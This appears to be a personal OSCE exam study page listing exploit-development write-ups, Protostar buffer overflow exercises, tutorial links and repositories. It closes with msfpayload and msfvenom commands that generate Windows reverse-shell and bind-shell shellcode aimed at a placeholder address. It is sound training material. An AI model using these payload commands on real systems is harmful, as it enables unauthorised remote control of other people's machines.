Exploit Writeups

• Backdooring PE - Weaponizing Your Favorite PE
• SEH + Egghunter - Winamp 5.12 Exploitation using Egghunter
• SEH + Egghunter(Manual Encoding) - HP OpenView NNM 7.5 Exploitation

Exploit Exercise (Protostar)

Module	Link	Note
Stack0	Stack BOF Intro
Stack1	Stack BOF Basic1
Stack2	Stack BOF Basic2
Stack3	Stack BOF Basic3
Stack4	Stack BOF Basic4
Stack5	Stack BOF Shellcode
Stack6	Stack BOF ret2libc	ROP is no need for OSCE
Stack7	Stack BOF ret2.text	ROP is no need for OSCE. But learn POP; POP; RET concept with this

Links

• Study Plan - https://www.abatchy.com/2017/03/osce-study-plan
• Prep Guide - https://tulpa-security.com/2017/07/18/288/
• Mona.py - https://www.corelan.be/index.php/2011/07/14/mona-py-the-manual/

Reviews

• Techryptic - Great Tips
• Jack Halon - https://jhalon.github.io/OSCE-Review/

Github

• Examples - https://github.com/dhn/OSCE
• OSCE_Bible - https://github.com/mohitkhemchandani/OSCE_BIBLE
• FullShade - https://github.com/FULLSHADE/OSCE (*POCs)
• h0mbre - https://github.com/h0mbre/CTP-OSCE (*Good helpers)
• ihack4falafel - https://github.com/ihack4falafel/OSCE

Resources

• Corelan - https://www.corelan.be/index.php/articles/

  • Exploit Writing Part 1 - Stack-based Overflow
  • Exploit Writing Part 2 - Buffer Overflow

• FuzzSecurity - http://fuzzysecurity.com/tutorials.html

• SecuritySift - http://www.securitysift.com/

  • Windows Exploit Development Part 1 - Basics
  • Windows Exploit Development Part 2 - Stack-based Overflow
  • Windows Exploit Development Part 3 - Offsets
  • Windows Exploit Development Part 4 - Locating Shellcode JMP

• Fuzzing

  • https://resources.infosecinstitute.com/intro-to-fuzzing/
  • https://resources.infosecinstitute.com/fuzzer-automation-with-spike/

• Structured Exception Handler (SEH)

  • Exploit Writing Part 3-1 - SEH
  • Exploit Writing Part 3-2 - SEH
  • Windows Exploit Development Part 6 - SEH

• Egghunter

  • http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf
  • Exploit Writing Part 8 - Egghunting
  • Windows Exploit Development Part 5 - Egghunting

• ASLR

  • Exploit Writing Part 6 - ASLR

• Shellcoding

  • Exploit Wrting Part 9 - Shellcoding
  • https://www.fuzzysecurity.com/tutorials/expDev/6.html
  • http://sh3llc0d3r.com/windows-reverse-shell-shellcode-i/
  • http://www.vividmachines.com/shellcode/shellcode.html#ws

• Web Application

  • XSS - https://excess-xss.com/
  • XSS - https://www.veracode.com/security/xss

Reverse Shell

Windows XP/Vista Ultimate

/pentest/exploits/framework/msfpayload windows/shell_reverse_tcp LHOST=192.168.x.x LPORT=443 C

Later Windows

/pentest/exploits/framework/msfpayload windows/shell_reverse_tcp LHOST=192.168.x.x LPORT=443 C 

msfvenom -p windows/shell_reverse_tcp LHOST=1192.168.x.x LPORT=443 -a x86 --platform=win -e x86/alpha_mixed -f raw

Bind Shell

Windows XP/Vista Ultimate

msfpayload windows/shell_bind_tcp R > bind
msfencode -e x86/alpha_mixed -i bind -t perl

Later Windows

msfvenom -p windows/shell_bind_tcp -a x86 --platform=win -e x86/alpha_mixed -f perl